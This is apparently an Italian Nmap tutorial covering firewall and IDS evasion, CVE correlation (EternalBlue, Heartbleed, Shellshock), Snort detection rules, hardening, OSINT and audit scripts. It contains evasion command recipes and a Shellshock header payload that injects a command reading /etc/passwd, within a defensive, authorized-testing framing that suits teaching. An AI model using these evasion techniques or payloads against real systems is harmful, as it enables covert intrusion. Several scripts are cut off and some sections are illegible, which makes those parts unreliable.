Fonti: nmap.org/book/nse.html; nmap.org/nsedoc/; lua.org/manual/5.4/; nmap.org/book/nse-api.html

8. EVASIONE FIREWALL E IDS

Un firewall o un IDS ben configurato può rilevare una scansione Nmap e bloccarla o registrarla. Questa sezione spiega i meccanismi di rilevamento e le contromisure tecniche che Nmap offre, con l'obiettivo di capire entrambe le prospettive: quella dell'attaccante e quella del difensore.

■ **SOLO USO AUTORIZZATO** Le tecniche di evasione sono strumenti per penetration tester che simulano attacchi reali su sistemi autorizzati, e per difensori che vogliono testare i propri controlli. Il loro uso non autorizzato è illegale.

8.1 Come i firewall rilevano le scansioni

I sistemi di rilevamento analizzano il traffico di rete cercando pattern tipici delle scansioni. I meccanismi principali sono:

Meccanismo di rilevamento	Come funziona	Tecnica Nmap correlata
Rate-based detection	Troppi SYN da uno stesso IP in poco tempo = scansione	Timing lento (-T1/-T0) o --scan-delay
Anomalie flag TCP	Pacchetti con flag impossibili (es. SYN+FIN) = scansione	Usare solo -sS standard per evitare il problema
Port scan detection	Un IP tocca molte porte diverse = scansione	Decoy (-D), ordine casuale (--randomize-hosts)
Signature database	Pattern specifici degli strumenti (es. opzioni TCP di Nmap)	Modificare TTL, dimensione pacchetti (--data-length)
Behavioral analysis	Comportamento anomalo rispetto alla baseline	Difficile da eludere senza accesso ai log del difensore

8.2 Frammentazione dei pacchetti (-f)

■ TEORIA La frammentazione divide i pacchetti IP in frammenti più piccoli. Alcuni firewall e IDS analizzano ogni frammento separatamente senza riassemblarli prima dell'ispezione: non vedono il pattern completo e lasciano passare i frammenti. Con -f i pacchetti TCP vengono frammentati in pezzi da 8 byte. Con -ff in pezzi da 16 byte. Con --mtu si specifica un valore personalizzato (multiplo di 8). I firewall moderni (stateful) riassemblano i frammenti prima dell'ispezione, rendendo questa tecnica meno efficace.	■ PRATICA — Frammentazione pacchetti # Frammenta in pezzi da 8 byte sudo nmap -f 192.168.1.1 # Frammenta in pezzi da 16 byte sudo nmap -ff 192.168.1.1 # MTU personalizzato (es. 24 byte) sudo nmap --mtu 24 192.168.1.1 # Verifica con tcpdump cosa produce: # sudo tcpdump -i eth0 host 192.168.1.1 -v
---	--

8.3 Decoy scan (-D): confondere i log

■ TEORIA

La decoy scan invia i pacchetti di scansione usando anche IP sorgente falsificati (decoy). Il target vede traffico provenire da molti IP contemporaneamente: nei log appare una scansione 'distribuita' da più sorgenti, rendendo difficile isolare l'IP del vero scanner. **IMPORTANTE:** i decoy devono essere IP di host realmente attivi! Se i decoy sono IP non esistenti, la loro assenza nei log rende più facile isolare lo scanner. La parola chiave ME indica dove inserire il vero IP dello scanner nella lista dei decoy. RND genera IP casuali automaticamente.

■ PRATICA — Decoy scan

```
# Decoy con IP specifici (ME = il tuo IP reale)
sudo nmap -D 10.0.1.1,10.0.1.2,ME,10.0.1.3 192.168.1.1

# Decoy con 10 IP casuali
sudo nmap -D RND:10 192.168.1.1

# Decoy + timing lento per massima evasione
sudo nmap -D RND:5 -T1 --randomize-hosts 192.168.1.0/24

# Verifica prima che gli IP decoy siano attivi:
nmap -sn 10.0.1.1-5 # controlla quali sono up
```

8.4 Manipolazione porta sorgente

Alcuni firewall hanno regole del tipo: 'permetti traffico TCP in ingresso se la porta sorgente è 53 (DNS)'. Questo perché storicamente i resolver DNS usano la porta 53 come sorgente nelle risposte. Impostare la porta sorgente a 53 può far passare la scansione attraverso questi firewall mal configurati.

■ BASH | Manipolazione porta sorgente: aggira firewall stateless

```
# Porta sorgente fissa (simula traffico DNS)
sudo nmap -g 53 192.168.1.1
sudo nmap --source-port 53 192.168.1.1 # equivalente

# Porta sorgente 80 (simula traffico web)
sudo nmap -g 80 192.168.1.1

# Perché funziona su alcuni firewall:
# Regola firewall: "ACCEPT tcp --sport 53"
# Il firewall vede: pacchetto SYN con porta sorgente 53
# Interpreta: "e' traffico DNS legittimo" -> lascia passare

# Note: questa tecnica elude solo packet filter stateless
# I firewall stateful verificano l'intero stato della connessione
# e rilevano che un SYN con sport=53 non è una risposta DNS
```

8.5 Randomizzazione e delay

■ BASH | Tecniche combinate: data-length, MAC spoofing, TTL, delay

```
# Aggiunge dati casuali ai pacchetti (elude signature IDS)
sudo nmap --data-length 25 192.168.1.1 # aggiunge 25 byte casuali

# Spoofing MAC address (solo su LAN locale)
sudo nmap --spoof-mac 0 192.168.1.1 # MAC casuale
sudo nmap --spoof-mac "Apple" 192.168.1.1 # vendor Apple, MAC casuale

# TTL personalizzato (ostacola OS fingerprinting passivo)
sudo nmap --ttl 64 192.168.1.1 # simula Linux
sudo nmap --ttl 128 192.168.1.1 # simula Windows

# Ordine casuale degli host (default già casuale)
nmap --randomize-hosts 192.168.1.0/24

# Delay tra i probe (elude rate-based IDS)
sudo nmap --scan-delay 2s 192.168.1.1 # 2 sec tra probe
sudo nmap --max-scan-delay 5s 192.168.1.1 # max adattivo

# Combinazione evasione completa:
sudo nmap -sS -T1 -f -D RND:5 -g 53 --data-length 20 --scan-delay 2s 192.168.1.1
```

8.6 Tabella riepilogativa: tecnica vs difesa

Tecnica evasione	Contro cosa funziona	Limite principale
-f (frammentazione)	Firewall stateless senza riassettaggio	Firewall moderni stateful riasssemblano
-D (decoy)	Analisi log — oscura l'IP reale	Target vede tutti gli IP; analyst attento li analizza
-g (source port)	Firewall con regole basate su porta sorgente	Inefficace contro firewall stateful
-T0/-T1 + delay	IDS con soglie di rate	Scan dura ore/giorni — impraticabile su grandi reti
--data-length	IDS con signature su dimensione pacchetti	IDS moderni ignorano payload di lunghezza variabile
--spoof-mac	Identificazione via MAC address	Funziona solo su segmento LAN locale
--ttl personalizzato	OS fingerprinting passivo	Rilevabile da altri indicatori
-sl (idle scan)	Tutto — anonimato completo	Richiede zombie con IP ID prevedibile (raro su sistemi moderni)

Fonti: nmap.org/book/man-bypass-firewalls-ids.html; [Snort.org](https://www.snort.org) (IDS rules); [Suricata.io](https://suricata.io/); Fyodor 'Nmap Network Scanning' Cap. 10

8B. VULNERABILITÀ NOTE E CORRELAZIONE CVE

Rilevare una porta aperta e una versione di software è solo il primo passo. Il valore reale per la sicurezza emerge quando si correlano queste informazioni con i database di vulnerabilità pubblici, trasformando dati tecnici in rischio concreto e priorità di remediation.

8B.1 Il sistema CVE: come funziona

CVE — Common Vulnerabilities and Exposures

Il sistema CVE è un dizionario pubblico di vulnerabilità note, gestito da MITRE Corporation e finanziato dal governo USA. Ogni vulnerabilità riceve un identificatore univoco nel formato CVE-ANNO-NUMERO. Il National Vulnerability Database (NVD) di NIST arricchisce ogni CVE con un punteggio CVSS (gravità da 0 a 10) e metadati aggiuntivi. Quando Nmap trova Apache 2.4.50, si può cercare 'Apache 2.4.50 CVE' per trovare tutte le vulnerabilità note in quella versione.

Punteggio CVSS	Categoria	Esempi tipici
9.0 — 10.0	Critica	RCE senza autenticazione, accesso root remoto (EternalBlue=9.8)
7.0 — 8.9	Alta	RCE con autenticazione, privilege escalation locale
4.0 — 6.9	Media	Information disclosure, XSS, CSRF, SQL injection con limitazioni
0.1 — 3.9	Bassa	Vulnerabilità difficili da sfruttare, impatto limitato
0.0	Nessuna	Non ancora valutata o non applicabile

8B.2 Le vulnerabilità più importanti rilevabili con Nmap

Queste sono le vulnerabilità storicamente più critiche che Nmap può rilevare tramite script NSE specifici:

EternalBlue — CVE-2017-0144 (CVSS 9.8)

EternalBlue è probabilmente la vulnerabilità più devastante degli ultimi decenni. Sviluppata dalla NSA e poi rilasciata dal gruppo Shadow Brokers nel 2017, sfrutta un bug nel protocollo SMBv1 di Windows che permette l'esecuzione di codice remoto senza alcuna autenticazione. È stata usata da WannaCry (maggio 2017) che ha colpito oltre 200.000 sistemi in 150 paesi, causando danni stimati in miliardi di dollari. Sistemi non patchati sono ancora vulnerabili oggi.

■ TEORIA

Come funziona: EternalBlue sfrutta un overflow nel parsing di messaggi SMBv1 Transaction2. Inviando pacchetti malformati appositamente costruiti, l'attaccante può scrivere shellcode nella memoria del kernel di Windows ed eseguirlo con privilegi SYSTEM. Sistemi vulnerabili: Windows XP, Vista, 7, 8, 10 (non patchati), Windows Server 2003/2008/2012/2016 (non patchati). Patch: MS17-010 (marzo 2017) — sistemi non aggiornati rimangono esposti.

■ PRATICA — Rilevamento EternalBlue

```
# Rilevamento con Nmap NSE
sudo nmap -p 445 --script smb-vuln-ms17-010 target

# Output se VULNERABILE:
# Host script results:
# | smb-vuln-ms17-010:
# |   VULNERABLE:
# |     Remote Code Execution vulnerability in Microsoft SMBv1
# |       State: VULNERABLE
# |       IDs:   CVE:CVE-2017-0144
# |             ETERNALBLUE
# |       Risk factor: HIGH
# |       Description: [...RCE without authentication...]
# |       Disclosure date: 2017-03-14

# Scan su tutta la rete per trovare host vulnerabili
sudo nmap -p 445 --script smb-vuln-ms17-010 192.168.1.0/24

# REMEDIATION:
# 1. Applica MS17-010 (o aggiorna Windows)
# 2. Disabilita SMBv1: Set-SmbServerConfiguration -EnableSMB1Protocol
# 3. Blocca porta 445 in ingresso da internet (firewall perimeter)
```

Heartbleed — CVE-2014-0160 (CVSS 7.5)

Heartbleed è una vulnerabilità nell'estensione Heartbeat di OpenSSL (versioni 1.0.1 fino a 1.0.1f). Permette a chiunque di leggere fino a 64 KB di memoria del processo server ad ogni richiesta, senza autenticazione e senza lasciare tracce nei log. In quella memoria possono trovarsi chiavi private SSL, password degli utenti, cookie di sessione e dati personali. È stata scoperta nel 2014 e ha colpito centinaia di migliaia di server web.

■ BASH | Rilevamento Heartbleed: scansione e interpretazione output NSE

```
# Rilevamento Heartbleed con NSE
nmap -p 443 --script ssl-heartbleed target

# Output se VULNERABILE:
# | ssl-heartbleed:
# |   VULNERABLE:
# |     The Heartbleed Bug is a serious vulnerability in the OpenSSL
# |       cryptographic software library.
# |       State: VULNERABLE
# |       Risk factor: High
# |       OpenSSL versions 1.0.1 and 1.0.2-beta releases up to and
# |       including 1.0.1f and 1.0.2-beta1 are vulnerable...

# Scan su porte HTTPS comuni
nmap -p 443,8443,4443 --script ssl-heartbleed 192.168.1.0/24

# REMEDIATION:
# 1. Aggiorna OpenSSL >= 1.0.1g
# 2. Rigenera il certificato SSL (la chiave privata potrebbe essere compromessa)
# 3. Invalida tutte le sessioni attive (i cookie potrebbero essere stati rubati)
# 4. Aggiorna le password degli utenti
```

Shellshock — CVE-2014-6271 (CVSS 10.0)

Shellshock è una vulnerabilità nella bash shell che permette l'esecuzione di comandi arbitrari tramite variabili d'ambiente malformate. È particolarmente pericolosa sui server web che usano CGI (Common Gateway Interface): il web server imposta variabili d'ambiente dai valori HTTP e le passa a bash, permettendo a un attaccante di iniettare comandi tramite header HTTP.

■ TEORIA

Come funziona: bash, durante l'inizializzazione, esporta funzioni definite nelle variabili d'ambiente. Il bug: se la variabile contiene '() { ;; }; COMANDO', bash esegue COMANDO durante l'inizializzazione. In un contesto CGI, un header HTTP come: User-Agent: () { ;; }; /bin/cat /etc/passwd viene passato come variabile d'ambiente al CGI script, e bash esegue il comando /bin/cat /etc/passwd.

■ PRATICA — Rilevamento Shellshock

```
# Rilevamento Shellshock via HTTP
nmap -p 80,443 --script http-shellshock target

# Specifica percorso CGI se noto
nmap -p 80 --script http-shellshock --script-args "http-sh

# Output se VULNERABILE:
# | http-shellshock:
# |   VULNERABLE:
# |   Web application vulnerable to Shellshock
# |   State: VULNERABLE (Exploitable)
# |   Path: /cgi-bin/admin.cgi
# |   Payload: () { ;; }; echo Content-Type: text/plain;#
# |   Descriptions: Server is vulnerable to Shellshock

# REMEDIATION:
# 1. Aggiorna bash a versione >= 4.3 patch 25
# 2. Disabilita CGI se non necessario
# 3. Limita le variabili d ambiente passate ai CGI script
```

8B.3 Come correlare versioni Nmap con CVE

■ PYTHON | cve_correlate.py — correlazione automatica versioni Nmap → CVE via NVD API

```
#!/usr/bin/env python3
"""
cve_correlate.py - Correla versioni trovate da Nmap con database CVE.
Usa NVD API (gratuita, registrazione opzionale per rate limit più alto).
"""
import json, urllib.request, time

def search_nvd(product, version, max_results=5):
    """Cerca CVE per un prodotto/versione nel database NVD NIST."""
    query = f"{product} {version}"
    url = (f"https://services.nvd.nist.gov/rest/json/cves/2.0"
           f"?keywordSearch={urllib.parse.quote(query)}"
           f"&resultsPerPage={max_results}")
    try:
        req = urllib.request.Request(url,
                                     headers={"User-Agent": "CVE-Correlator/1.0"})
        with urllib.request.urlopen(req, timeout=10) as resp:
            data = json.load(resp)
            return data.get("vulnerabilities", [])
    except Exception as e:
        return []

import urllib.parse

def analyze_nmap_xml(xml_file):
    """Legge XML Nmap ed estrae coppie (product, version)."""
    import xml.etree.ElementTree as ET
    root = ET.parse(xml_file).getroot()
    services = []
    for host in root.findall("host"):
        ip = host.find("address").get("addr", "")
        for port in host.findall("ports/port"):
            state = port.find("state")
            if state is None or state.get("state") != "open": continue
            svc = port.find("service")
            if svc is None: continue
            product = svc.get("product", "").strip()
            version = svc.get("version", "").strip()
            if product and version:
                services.append({
                    "ip": ip,
                    "port": port.get("portid"),
                    "product": product,
                    "version": version,
                })
    return services

def full_correlation(xml_file):
    services = analyze_nmap_xml(xml_file)
    print(f"Servizi con versione rilevata: {len(services)}")
    print(f"{' '*60}")

    critical_findings = []
    for svc in services:
        print(f"
```

```
[*] {svc['ip']}:{svc['port']} - "
    f"{svc['product']} {svc['version']}"
cves = search_nvd(svc['product'], svc['version'])
time.sleep(0.6) # rispetta rate limit NVD

if not cves:
    print("    Nessun CVE trovato (buona notizia!)")
    continue

for cve_item in cves[:3]: # mostra top 3
    cve = cve_item.get("cve", {})
    cve_id = cve.get("id", "N/A")
    desc = cve.get("descriptions", [{}])[0].get("value", "")[:100]
    metrics = cve.get("metrics", {})
    # Prendi il punteggio CVSS più recente disponibile
    score = "N/A"
    for ver in ["cvssMetricV31", "cvssMetricV30", "cvssMetricV2"]:
        if metrics.get(ver):
            score = metrics[ver][0]["cvssData"]["baseScore"]
            break

    print(f"    ■ {cve_id} | CVSS: {score} | {desc}...")
    if isinstance(score, (int, float)) and float(score) >= 7.0:
        critical_findings.append({
            "host": f"{svc['ip']}:{svc['port']}",
            "service": f"{svc['product']} {svc['version']}",
            "cve": cve_id,
            "cvss": score,
        })

if critical_findings:
    print(f"{' '*60}")
    print(f"VULNERABILITÀ CRITICHE/ALTE TROVATE ({len(critical_findings)}):")
    for f in sorted(critical_findings, key=lambda x: x["cvss"], reverse=True):
        print(f"    [{f['cvss']}] {f['host']} - {f['service']} - {f['cve']}")

if __name__ == "__main__":
    import sys
    xml_file = sys.argv[1] if len(sys.argv) > 1 else "scan.xml"
    full_correlation(xml_file)
```


8B.4 Tabella CVE storiche rilevabili con Nmap

CVE	Servizio	CVSS	Script NSE	Impatto
CVE-2017-0144	SMB v1 (Windows)	9.8	smb-vuln-ms17-010	RCE senza auth — WannaCry
CVE-2014-0160	OpenSSL 1.0.1	7.5	ssl-heartbleed	Memory disclosure — chiavi private
CVE-2014-6271	Bash / CGI	10.0	http-shellshock	RCE via variabili d'ambiente
CVE-2008-4250	SMB (Windows XP/2003)	10.0	smb-vuln-ms08-067	RCE via netapi.dll
CVE-2019-0708	RDP (Windows 7/2008)	9.8	rdp-vuln-ms12-020*	RCE pre-auth — BlueKeep
CVE-2021-44228	Log4j 2.x (Java)	10.0	http-log4shell	RCE via JNDI lookup
CVE-2017-7494	Samba 3.5+	10.0	smb-vuln-cve-2017-7494	RCE — SambaCry
CVE-2014-3566	SSL 3.0 (tutti)	3.4	ssl-poodle	MITM — POODLE attack
CVE-2015-4000	DH < 1024 bit	3.7	ssl-dh-params	MITM — LOGJAM attack
CVE-2010-0740	OpenSSL < 0.9.8m	5.0	ssl-known-key	DoS / crash
CVE-2012-1182	Samba	10.0	smb-vuln-ms10-054	RCE via heap overflow
CVE-2011-3192	Apache Range header	7.8	http-vuln-cve2011-3192	DoS

Fonti: nvd.nist.gov (National Vulnerability Database); cve.mitre.org; exploit-db.com; nmap.org/nsedoc/categories/vuln.html; msrc.microsoft.com (Microsoft Security Response Center)

9. DIFESA: RILEVARE E RISPONDERE

Comprendere Nmap dal punto di vista dell'attaccante è il primo passo per costruire difese efficaci. Chi gestisce infrastrutture deve sapere come rilevare una scansione in corso, come limitare le informazioni che Nmap può raccogliere, e come ridurre la superficie di attacco.

9.1 Rilevare una scansione: cosa cercare nei log

Una scansione Nmap lascia tracce caratteristiche nei log di sistema e nelle statistiche di rete. Conoscere queste tracce aiuta a identificare rapidamente un'attività sospetta:

Indicatore	Dove vederlo	Cosa significa
Molti SYN senza completamento	Log firewall, tcpdump, Wireshark	SYN scan (-sS) in corso: decine di SYN per secondo verso porte diverse
Pacchetti con flag anomali (FIN/NULL/XMAS)	IDS/IPS log, tcpdump -v	Scansione stealth: FIN, NULL o XMAS scan in corso
ICMP Destination Unreachable flood	Log sistema, netstat	UDP scan: il SO sta rispondendo alle porte chiuse
Traffico verso porte non usate	Firewall log, honeypot	Qualsiasi scan tocca porte chiuse che non dovrebbero avere traffico
Picco di connessioni da singolo IP	Web server log, auth.log, /var/log/syslog	TCP Connect scan (-sT) lascia tracce complete nei log applicativi
Richieste anomale ai servizi	Apache/nginx log, MySQL log	NSE scripts: http-enum, mysql-databases ecc. appaiono nei log

9.2 Regole Snort/Suricata per rilevare Nmap

■ BASH | Regole Snort/Suricata: rilevamento scansioni Nmap

[illegible]

```
# Rileva SYN scan aggressiva (20+ SYN da stesso IP in 3 secondi)
alert tcp any any -> $HOME_NET any (
    msg:"SCAN: SYN Scan rilevata";
    flags:S;
    threshold:type both, track by_src, count 20, seconds 3;
    classtype:network-scan; sid:1000001; rev:1;
)

# Rileva NULL scan (pacchetti TCP senza flag)
alert tcp any any -> $HOME_NET any (
    msg:"SCAN: NULL Scan";
    flags:0;
    classtype:network-scan; sid:1000002; rev:1;
)

# Rileva XMAS scan (FIN+PSH+URG insieme)
alert tcp any any -> $HOME_NET any (
    msg:"SCAN: XMAS Scan";
    flags:FPU;
    classtype:network-scan; sid:1000003; rev:1;
)

# Rileva SYN+FIN (combinazione non valida secondo RFC)
alert tcp any any -> $HOME_NET any (
    msg:"SCAN: SYN+FIN (anomalo)";
    flags:SF;
    classtype:network-scan; sid:1000004; rev:1;
)

# Rileva scan orizzontale (1 IP tocca 50+ porte in 10 secondi)
alert tcp any any -> $HOME_NET any (
    msg:"SCAN: Port scan orizzontale";
    threshold:type both, track by_src, count 50, seconds 10;
    classtype:network-scan; sid:1000005; rev:1;
)
```

9.3 Hardening: ridurre ciò che Nmap può trovare

L'obiettivo dell'hardening è ridurre le informazioni che uno scanner può raccogliere e la superficie di attacco esposta. Ogni servizio non necessario aperto è un rischio potenziale.

■ BASH | iptables, UFW e sysctl: hardening anti-scansione su Linux

[illegible]

9.4 Nascondere le versioni dei servizi

Anche quando un servizio deve essere esposto, è possibile limitare le informazioni di versione che vengono rivelate nelle risposte. Questo non è security through obscurity: è un layer aggiuntivo di difesa che rallenta un attaccante.

■ BASH | Hardening dei servizi: nascondere versioni e limitare esposizione

[illegible]

9.5 Usare Nmap per la propria difesa

Uno degli usi più preziosi di Nmap per un amministratore di sistema è scansionare la *propria* infrastruttura con regolarità: trovare i problemi prima che lo faccia qualcun altro.

✓ **BEST PRACTICE** Regola d'oro: **scansiona te stesso regolarmente**. Ogni servizio che Nmap trova inaspettatamente sulla tua rete è un problema che devi risolvere prima che lo trovi un attaccante. Pianifica scan settimanali e usa Ndiff per rilevare i cambiamenti.

■ BASH | self_audit.sh — audit periodico con rilevamento cambiamenti via Ndiff

```
#!/bin/bash
# self_audit.sh – Audit periodico della propria infrastruttura
# Pianifica con cron: 0 2 * * 1 /path/to/self_audit.sh (ogni lun. ore 2)

NETWORK="192.168.1.0/24"
DATE=$(date +%Y%m%d)
DIR="/var/log/nmap_audit"
PREV="${DIR}/audit_prev.xml"
CURR="${DIR}/audit_${DATE}.xml"
mkdir -p "$DIR"

echo "[$(date)] Avvio audit settimanale: $NETWORK"

# Scansione completa
sudo nmap -sS -sV -O -T4 --open --min-hostgroup 32 -oX "$CURR" "$NETWORK"

# Confronto con scan precedente (trova cambiamenti)
if [ -f "$PREV" ]; then
    DIFF=$(ndiff "$PREV" "$CURR")
    if [ -n "$DIFF" ]; then
        echo "=== CAMBIAMENTI RILEVATI ==="
        echo "$DIFF"
        # Opzionale: invia alert via email
        echo "$DIFF" | mail -s "[AUDIT] Cambiamenti rete $DATE" security@company.local
    else
        echo "[OK] Nessun cambiamento rilevato"
    fi
fi

# Aggiorna il riferimento
cp "$CURR" "$PREV"
echo "[✓] Audit completato: $CURR"
```

Fonti: snort.org; suricata.io; netfilter.org (iptables/nftables); CIS Benchmarks (cisecurity.org/cis-benchmarks/); NIST SP 800-123 (Guide to General Server Security)

9B. THREAT INTELLIGENCE E RICOGNIZIONE PASSIVA

Prima di eseguire qualsiasi scan attiva con Nmap, un professionista della sicurezza raccoglie informazioni da fonti pubbliche (OSINT — Open Source Intelligence). Questa ricognizione passiva non invia mai pacchetti al target e non può essere rilevata, ma fornisce un contesto prezioso che rende la successiva scansione Nmap più efficace.

9B.1 Fonti OSINT complementari a Nmap

Fonte	Tipo dati	Come integra con Nmap
Shodan (shodan.io)	Scan passiva di internet — mostra porte aperte, banner, certificati SSL su tutti gli IP pubblici	Verifica cosa è visibile dall'esterno prima di fare la tua scan. Shodan trova device IoT, cam IP, PLC esposti su internet.
Censys (search.censys.io)	Simile a Shodan — focus su certificati TLS e host IPv4/IPv6	Identifica tutti i certificati SSL emessi per un dominio. Rivela sottodomini nascosti e IP associati.
WHOIS	Dati registrazione dominio: registrar, date, nameserver, contatti tecnici e amministrativi	Identifica range IP da scansionare (ASN, netblock). whois IP rivela chi possiede quel blocco.
Certificati SSL (crt.sh)	Database pubblico di tutti i certificati emessi da Certificate Authority — rivela sottodomini	Trova tutti i sottodomini di un'organizzazione dai Subject Alternative Names dei certificati SSL.
DNS passivo	Storico delle risoluzioni DNS — rivela IP storici, sottodomini, mail server, SPF, DMARC	Identifica infrastruttura prima di fare reverse lookup. Tool: SecurityTrails, PassiveDNS, VirusTotal.
Google Dorking	Ricerche Google con operatori speciali per trovare file esposti, login page, errori	Complementa http-enum NSE. Esempio: site:target.com filetype:pdf
LinkedIn / social	Tecnologie usate dall'azienda, nomi dei sistemisti, stack tecnologico (offerte di lavoro!)	Indirizza la scansione: se cercano 'PostgreSQL admin' probabilmente hanno PostgreSQL esposto.

9B.2 Integrare OSINT nel workflow pre-scan

■ BASH | pre_scan_osint.sh — ricognizione passiva OSINT prima di avviare Nmap

```
#!/bin/bash
# pre_scan_osint.sh — Ricognizione passiva prima di Nmap
# Uso: ./pre_scan_osint.sh target.example.com

TARGET="${1:-example.com}"
IP=$(dig +short "$TARGET" | tail -1)
echo "=== PRE-SCAN OSINT: $TARGET ($IP) ==="

# 1. WHOIS: chi possiede il dominio e l IP?
echo -e "
[1] WHOIS dominio:"
whois "$TARGET" | grep -E "Registrar|Creation|Expiry|Name Server" | head -8

echo -e "
[2] WHOIS IP ($IP):"
whois "$IP" | grep -E "NetName|CIDR|OrgName|Country" | head -6

# 2. DNS: tutti i record del dominio
echo -e "
[3] Record DNS:"
dig "$TARGET" ANY +noall +answer 2>/dev/null | head -10
echo "MX:"; dig MX "$TARGET" +short
echo "TXT:"; dig TXT "$TARGET" +short

# 3. Sottodomini comuni (brute force leggero con Nmap)
echo -e "
[4] Sottodomini comuni (NSE dns-brute):"
nmap --script dns-brute --script-args dns-brute.domain="$TARGET",dns-brute.threads=4 -sn "$TARGET"

# 4. Certificati SSL: trova sottodomini via crt.sh
echo -e "
[5] Sottodomini da certificati SSL (crt.sh):"
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" 2>/dev/null | python3 -c "
import json,sys
data = json.load(sys.stdin)
names = set()
for cert in data:
    for name in cert.get('name_value','').split('
'):
        name = name.strip().lstrip('*.')
        if name.endswith('$TARGET'): names.add(name)
for n in sorted(names)[:20]: print(' ', n)
" 2>/dev/null

echo -e "
=== OSINT COMPLETATO ==="
echo "Ora puoi eseguire: sudo nmap -sV -T4 $IP"
```

9B.3 Threat modeling: identificare i rischi prima di scannerizzare

Il threat modeling è un processo strutturato per identificare potenziali minacce a un sistema prima di analizzarlo. Applicato al network scanning, aiuta a focalizzare l'analisi sulle aree di rischio più elevato:

Domanda di threat modeling	Rilevanza per Nmap
Quali asset sono i più critici?	Scansiona prima i server con dati sensibili, sistemi di controllo, server di autenticazione
Da dove potrebbe venire un attacco?	Esegui scan dall'esterno (internet) E dall'interno (LAN) — la prospettiva cambia drasticamente i risultati
Quali servizi sono esposti agli attaccanti?	Focus su porte raggiungibili dall'esterno: 80, 443, 22, 25, 3389 — il perimetro è il primo target
Quali vulnerabilità sono state sfruttate di recente?	Prioritizza gli script NSE corrispondenti: se c'è un ransomware attivo su SMB, controlla prima smb-vuln-*
Chi sono i potenziali attaccanti?	Script kiddie: cercano vulnerabilità automatizzate comuni. APT: targeting specifico, più paziente. Insider threat: già dentro la rete — scan interna.

✓ **BEST PRACTICE** La regola dei 20/80: l'80% delle violazioni sfrutta il 20% delle vulnerabilità più comuni. EternalBlue, Heartbleed, credenziali default, FTP anonimo, MySQL senza password — questi controlli base devono essere la prima priorità di qualsiasi audit.

Fonti: MITRE ATT&CK; (attack.mitre.org); shodan.io; censys.io; crt.sh; OWASP Threat Modeling (owasp.org/www-community/Threat_Modeling); NIST SP 800-30 (Risk Assessment)

10. WORKFLOW PROFESSIONALI

Un penetration tester o un security analyst non usa Nmap in modo casuale: segue workflow strutturati, progressivi, che partono dalla ricognizione leggera e scendono progressivamente verso l'analisi più invasiva. Questa sezione mostra i workflow più comuni.

10.1 Il workflow a cinque fasi

Ogni audit di rete professionale segue queste cinque fasi, ognuna che alimenta la successiva:

Fase 1 — Ricognizione passiva

Prima di inviare anche un solo pacchetto al target, si raccolgono informazioni pubblicamente disponibili: WHOIS, DNS, Shodan, Google Dorking, certificati SSL. Nmap non viene ancora usato direttamente.

Fase 2 — Host discovery

Si identifica quali host sono attivi nell'intervallo IP target. Si usa un ping sweep leggero con `-sn`, privilegiando tecniche multiple (ARP+ICMP+TCP) per massima copertura. Il risultato è una lista di IP attivi da passare alla fase 3.

Fase 3 — Port scan iniziale

Si esegue un port scan rapido sugli host trovati (top 1000 porte TCP, `-T4`). L'obiettivo è avere una panoramica veloce dei servizi esposti. Non si usa ancora il version detection per risparmiare tempo.

Fase 4 — Deep scan

Sulle porte aperte trovate nella fase 3, si esegue un'analisi approfondita: version detection (`-sV`), OS detection (`-O`), script NSE specifici per i servizi trovati. Eventualmente si aggiunge una scansione UDP delle porte critiche.

Fase 5 — Vulnerability assessment

Si correlano le versioni trovate con database CVE, si eseguono script NSE di categoria 'vuln', e si usano tool dedicati (Nessus, OpenVAS) per un'analisi più dettagliata. I risultati vengono documentati e presentati con priorità di remediation.

10.2 Script completo: audit LAN aziendale

■ BASH | lan_audit.sh — audit LAN aziendale completo in 4 fasi progressive

```
#!/bin/bash
# lan_audit.sh – Audit LAN aziendale completo in 4 fasi
# Uso: sudo ./lan_audit.sh 192.168.1.0/24
# Output: directory audit_YYYYMMDD_HHMM/

TARGET="${1:-192.168.1.0/24}"
TS=$(date +%Y%m%d_%H%M)
DIR="audit_${TS}"
mkdir -p "$DIR"

echo "=====
echo "  AUDIT LAN: $TARGET"
echo "  Output: $DIR/"
echo "  Inizio: $(date)"
echo "=====

# FASE 1: Host discovery (leggero, multi-tecnica)
echo -e "
[1/4] Host discovery..."
sudo nmap -sn -T4 -PE -PS22,80,443 -PA80 --min-hostgroup 64 -oA "${DIR}/f1_discovery" "$TARGET"
grep "Up" "${DIR}/f1_discovery.gnmap" | awk '{print $2}' > "${DIR}/hosts.txt"
N=$(wc -l < "${DIR}/hosts.txt")
echo "    Host attivi: $N"

# FASE 2: Port scan rapido top-1000
echo "[2/4] Port scan top-1000..."
sudo nmap -sS -T4 --min-rate 300 --max-retries 2 --open -iL "${DIR}/hosts.txt" -oA "${DIR}/f2_po

# FASE 3: Version + OS + script default sulle porte aperte
echo "[3/4] Version detection + OS + NSE default..."
# Estrai solo IP che hanno porte aperte
grep "open" "${DIR}/f2_portscan.gnmap" | awk '{print $2}' | sort -u > "${DIR}/hosts_with_ports.txt"
sudo nmap -sV -O -sC -T4 --osscan-guess --version-intensity 7 --open -iL "${DIR}/hosts_with_port

# FASE 4: UDP porte critiche + vulnerability scan
echo "[4/4] UDP critico + vulnerability check..."
sudo nmap -sU --top-ports 20 -T3 -iL "${DIR}/hosts.txt" -oA "${DIR}/f4_udp"
sudo nmap --script "vuln and safe" -T3 -iL "${DIR}/hosts_with_ports.txt" -oA "${DIR}/f4_vuln"

# Riepilogo
echo -e "
=====
echo "  RIEPILOGO AUDIT COMPLETATO"
echo "  Fine: $(date)"
echo "  Host attivi: $N"
echo "  Con porte aperte: $(wc -l < "${DIR}/hosts_with_ports.txt")"
echo "  Porte aperte (TCP): $(grep -c "open/tcp" "${DIR}/f2_portscan.gnmap")"
echo "  Vulnerabilita: $(grep -c "VULNERABLE" "${DIR}/f4_vuln.nmap" 2>/dev/null || echo 0)"
echo "=====
echo ""
echo "  File chiave da analizzare:"
echo "  ${DIR}/f3_detailed.nmap <-- panoramica completa"
echo "  ${DIR}/f4_vuln.nmap <-- vulnerabilita (cerca 'VULNERABLE')"
echo "  Converti in HTML:"
echo "  xsltproc /usr/share/nmap/nmap.xsl ${DIR}/f3_detailed.xml -o report.html"
```

10.3 Workflow per server singolo (web app)

■ BASH | webapp_audit.sh — audit completo di un singolo web server

```
#!/bin/bash
# webapp_audit.sh – Audit completo di un server web
# Uso: sudo ./webapp_audit.sh target.example.com
TARGET="${1:-192.168.1.100}"

echo "=== WEB SERVER AUDIT: $TARGET ==="

# Step 1: Porte TCP aperte (tutte)
